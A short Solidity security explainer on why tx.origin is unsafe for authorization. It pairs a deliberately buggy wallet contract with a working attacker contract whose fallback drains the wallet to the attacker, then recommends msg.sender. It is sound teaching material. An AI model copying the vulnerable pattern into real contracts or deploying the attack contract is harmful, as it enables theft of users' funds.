Authorization Through tx.origin
tx.origin
is a global variable in Solidity which returns the address that sent a transaction. It's important that you never use tx.origin
for authorization since another contract can use a fallback function to call your contract and gain authorization since the authorized address is stored in tx.origin
. Consider this example:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function transferTo(address payable dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}
Here we can see that the TxUserWallet
contract authorizes the transferTo()
function with tx.origin
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface TxUserWallet {
function transferTo(address payable dest, uint amount) external;
}
contract TxAttackWallet {
address payable private immutable owner;
// Constructor sets the contract deployer as the owner
constructor() {
owner = payable(msg.sender);
}
// fallback function to receive Ether and trigger transfer
fallback() external payable {
// Call transferTo on TxUserWallet (msg.sender) to send its balance to owner
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
Now if someone were to trick your 'TxUserWallet' contract into sending ether to the TxAttackWallet
contract, they can steal all funds from 'TxUserWallet' by passing the tx.origin
check.
To prevent this kind of attack, use msg.sender
for authorization.
Examples from: https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin